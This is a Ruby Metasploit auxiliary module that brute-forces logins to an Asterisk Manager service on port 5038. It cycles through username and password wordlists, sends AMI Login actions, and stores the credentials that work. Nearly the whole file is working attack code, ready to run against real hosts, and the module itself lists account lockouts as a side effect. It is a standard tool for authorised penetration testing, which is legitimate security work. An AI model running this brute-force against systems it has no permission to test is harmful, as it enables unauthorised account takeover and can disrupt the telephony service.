1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Auxiliary
7
  include Msf::Exploit::Remote::Tcp
8
  include Msf::Auxiliary::Scanner
9
  include Msf::Auxiliary::Report
10
  include Msf::Auxiliary::AuthBrute
11

12
  def initialize(info = {})
13
    super(
14
      update_info(
15
        info,
16
        'Name' => 'Asterisk Manager Login Utility',
17
        'Description' => %q{
18
          This module attempts to authenticate to an Asterisk Manager service. Please note
19
          that by default, Asterisk Call Management (port 5038) only listens locally, but
20
          this can be manually configured in file /etc/asterisk/manager.conf by the admin
21
          on the victim machine.
22
        },
23
        'Author' => [
24
          'dflah_ <dflah[at]alligatorteam.org>',
25
        ],
26
        'References' => [
27
          ['URL', 'http://www.asterisk.org/astdocs/node201.html'], # Docs for AMI
28
        ],
29
        'License' => MSF_LICENSE,
30
        'Notes' => {
31
          'Stability' => [CRASH_SAFE],
32
          'SideEffects' => [ACCOUNT_LOCKOUTS],
33
          'Reliability' => []
34
        }
35
      )
36
    )
37

38
    register_options(
39
      [
40
        Opt::RPORT(5038),
41
        OptString.new('USER_FILE',
42
                      [
43
                        false,
44
                        'The file that contains a list of probable users accounts.',
45
                        File.join(Msf::Config.install_root, 'data', 'wordlists', 'unix_users.txt')
46
                      ]),
47

48
        OptString.new('PASS_FILE',
49
                      [
50
                        false,
51
                        'The file that contains a list of probable passwords.',
52
                        File.join(Msf::Config.install_root, 'data', 'wordlists', 'unix_passwords.txt')
53
                      ])
54
      ]
55
    )
56
  end
57

58
  def report_cred(opts)
59
    service_data = {
60
      address: opts[:ip],
61
      port: opts[:port],
62
      service_name: 'asterisk_manager',
63
      protocol: 'tcp',
64
      workspace_id: myworkspace_id
65
    }
66

67
    credential_data = {
68
      origin_type: :service,
69
      module_fullname: fullname,
70
      username: opts[:user],
71
      private_data: opts[:password],
72
      private_type: :password
73
    }.merge(service_data)
74

75
    login_data = {
76
      last_attempted_at: DateTime.now,
77
      core: create_credential(credential_data),
78
      status: Metasploit::Model::Login::Status::SUCCESSFUL,
79
      proof: opts[:proof]
80
    }.merge(service_data)
81

82
    create_credential_login(login_data)
83
  end
84

85
  def run_host(_ip)
86
    print_status('Initializing module...')
87
    each_user_pass do |user, pass|
88
      do_login(user, pass)
89
    end
90
  rescue ::Rex::ConnectionError => e
91
    vprint_error("#{e.class}: #{e.message}")
92
  rescue StandardError => e
93
    elog("Asterisk login attempt failed", error: e)
94
    vprint_error("#{e.class}: #{e.message}")
95
  end
96

97
  def send_manager(command = '')
98
    @result = ''
99
    if !@connected
100
      connect
101
      @connected = true
102
      select(nil, nil, nil, 0.4)
103
    end
104
    sock.put(command)
105
    @result = sock.get_once || ''
106
  rescue StandardError => e
107
    print_error("Error: #{e}")
108
  end
109

110
  def do_login(user = '', pass = '')
111
    @connected = false
112
    send_manager(nil) # connect only
113

114
    if @result !~ /^Asterisk Call Manager(.*)/
115
      print_error('Asterisk Manager does not appear to be running')
116
      return :abort
117
    end
118

119
    vprint_status("#{rhost}:#{rport} - Trying user:'#{user}' with password:'#{pass}'")
120
    cmd = "Action: Login\r\nUsername: #{user}\r\nSecret: #{pass}\r\n\r\n"
121
    send_manager(cmd)
122

123
    if /Response: Success/.match(@result)
124
      print_good("User: \"#{user}\" using pass: \"#{pass}\" - can login on #{rhost}:#{rport}!")
125
      report_cred(ip: rhost, port: rport, user: user, password: pass, proof: @result)
126
      disconnect
127
      return :next_user
128
    end
129

130
    disconnect
131
    return :fail
132
  rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
133
    vprint_error(e.message)
134
    return :fail
135
  rescue ::Timeout::Error, ::Errno::EPIPE => e
136
    vprint_error(e.message)
137
    return :fail
138
  end
139
end
140

141